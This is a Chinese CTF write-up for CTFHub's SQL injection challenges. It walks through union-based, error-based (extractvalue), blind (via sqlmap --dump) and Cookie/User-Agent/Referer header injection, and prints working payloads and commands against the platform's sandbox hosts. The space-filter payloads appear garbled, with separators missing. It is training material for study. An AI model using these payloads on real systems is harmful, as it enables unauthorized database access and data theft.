前言
本文是作者由CSDN博客迁移而来,原文地址:https://blog.csdn.net/2302_81178149/article/details/145423635?spm=1001.2014.3001.5501
在众多的CTF平台当中,CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。
作者的CTFHub技能树汇总:
CTFHub技能树Web汇总-CSDN博客
关于sql注入,作者认为sqli-labs是一个很好的靶场。作者通过该靶场训练到了sql注入的大多数技巧。应对这些题型时就已经得心应手,推荐大家也做一下。
sqli_labs的wp:sqli-labs通关全详解-CSDN博客
sql注入的技术总结:SQL注入全详解_sql注入csdn-CSDN博客
整数型注入
首页

输个1,发现出数据了,一看URL,GET型整数注入,而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合
持续输入,id只到2,输入3就没返回值了

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有几个返回值,
逐见增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个值都显示)

接下来确定我们输入的值(即0和1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,就会一直输出1和ctfhub,得不到我们想要的信息)

接下来就是常规步骤
1
| -1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#
|
这个flag表似乎是我们想要的

1
| -1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'flag'#
|
连字段名都是flag,那必然是它了

出了
1
| -1 union select 0,group_concat(flag) from flag#
|

字符型注入
还是输个1,发现是字符型注入,用单引号闭合

确定回显

剩下的步骤和上题基本一样

报错注入
输个1
,查询正确,没有回显位,不能用报错注入

输个1’
,有报错,而且看起来不用闭合,用报错注入试试

这里我用了extractvalue()报错,floot()、updatexml()报错都是可以的
1
| 1 and extractvalue(1,concat(0x7e,(select database())))#
|

1
| 1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#
|

1
| 1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name =
|

1
| 1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))#
|
发现flag不全

1
| 1 and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),30,32)))#
|
原来只差个}

布尔盲注
输个1

1‘,没啥有价值的信息,没有回显也没有报错

用sqlmap
我的sqlmap是安装在windows上的,在其目录下打开cmd,
1
| python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1
|
成功扫出注入漏洞(是时间盲注,不过无所谓,时间盲注和布尔盲注本质相近)

1
| python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 --current-db
|
查看当前数据库名

查看表名
1
| python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli –tables
|

查看字段名
1
| python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
|

查看用户数据
1
| python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
|

时间盲注
和布尔盲注一样,我们得不到什么有用的信息,用sqlmap

1
| python sqlmap.py -u http://challenge-7ab8ccdca17dd471.sandbox.ctfhub.com:10800/?id=1
|

剩下的与上一题相同

MySQL结构
首页

输个1,出数据了,一看URL,GET型注入,可以直接从URL上输入,也可以直接在ID框里输入,
这个题而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合
持续输入,id只到2,输入3就没返回值了,所以只有两个id,1和2

输入1’
,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有数据库给我们返回了几个值,
逐次增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个返回的值都显示,这里很明显有两个回显位ID和Data)

接下来确定我们输入的值(即0,1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,比如1,就会一直输出1和ctfhub,得不到我们想要的信息,我们之前试过,id只有1和2,所以输入-1肯定是错的,这一步其实可以和前面一步合并,直接拿-1去测返回值个数)
发现0对应ID,1对应Data。

接下来就是常规步骤,
在回显位上得到我们想要的信息,我选择在Data位上得到相关信息。
爆表名
1
| -1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#
|
这个bfapxsidjd似乎是我们想要的,先试试它

爆字段名
1
| -1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'bfapxsidjd'#
|

爆用户数据
1
| -1 union select 0,group_concat(dijkatvoat) from bfapxsidjd#
|

Cookie注入
Cookie注入,抓包,发现hint

看着像url code,用在线URL 编码/解码翻译试试
翻译成:输个1试试?
和之前提示一样

放包,出数据了,用联合注入试试

cookie上加payload,注意别加错位置
经尝试,数字型注入,不需要闭合,有两个返回值
0 union select 1,2–+


1
| 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
|


1
| 0 union select 1,group_concat(column_name) from information_schema.columns where table_name =
|

1
| 0 union select 1,group_concat(zyrolpptir) from nsnlgmojmb--+
|

UA注入
把User-Agent处改为1

出现用户数据,那这里就和之前一样,直接注入就可

猜猜看返回数据是不是只有两个(发现根本不需要注释)

果然还是只有两个

1
| -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
|

1
| -1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'narijgvpvg'
|

1
| -1 union select 1,group_concat(vlmxnrnwsf) from narijgvpvg
|

Refer注入
Referer注入没有referer?

自己构造一个
referer: 1

Ok了,在这注入

1
| referer: -1 union select 1,2
|

1
| referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
|

1
| referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'kclnvpdoln'
|

1
| referer: -1 union select 1,group_concat(lhdlppxexk) from kclnvpdoln
|

过滤空格
输个1,发现和之前的题一样,按题目来看,是把空格过滤了

针对这种情况,可以有很多方法,比如用其他符号替换、URL编码等,这里可以用/**/或者括号去替换空格

1
| 0unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()
|

1
| 0unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name='notpyrplrk'
|

1
| 0unionselect1,group_concat(bumpvvqaax)fromnotpyrplrk
|

综合训练 SQLI-LABS
实际上就是作者在文章开头说的sqli-labs靶场,推荐大家自己搭建一下,很简单而且可以节省金币。
具体搭建方法作者在自己文章里引用出来了。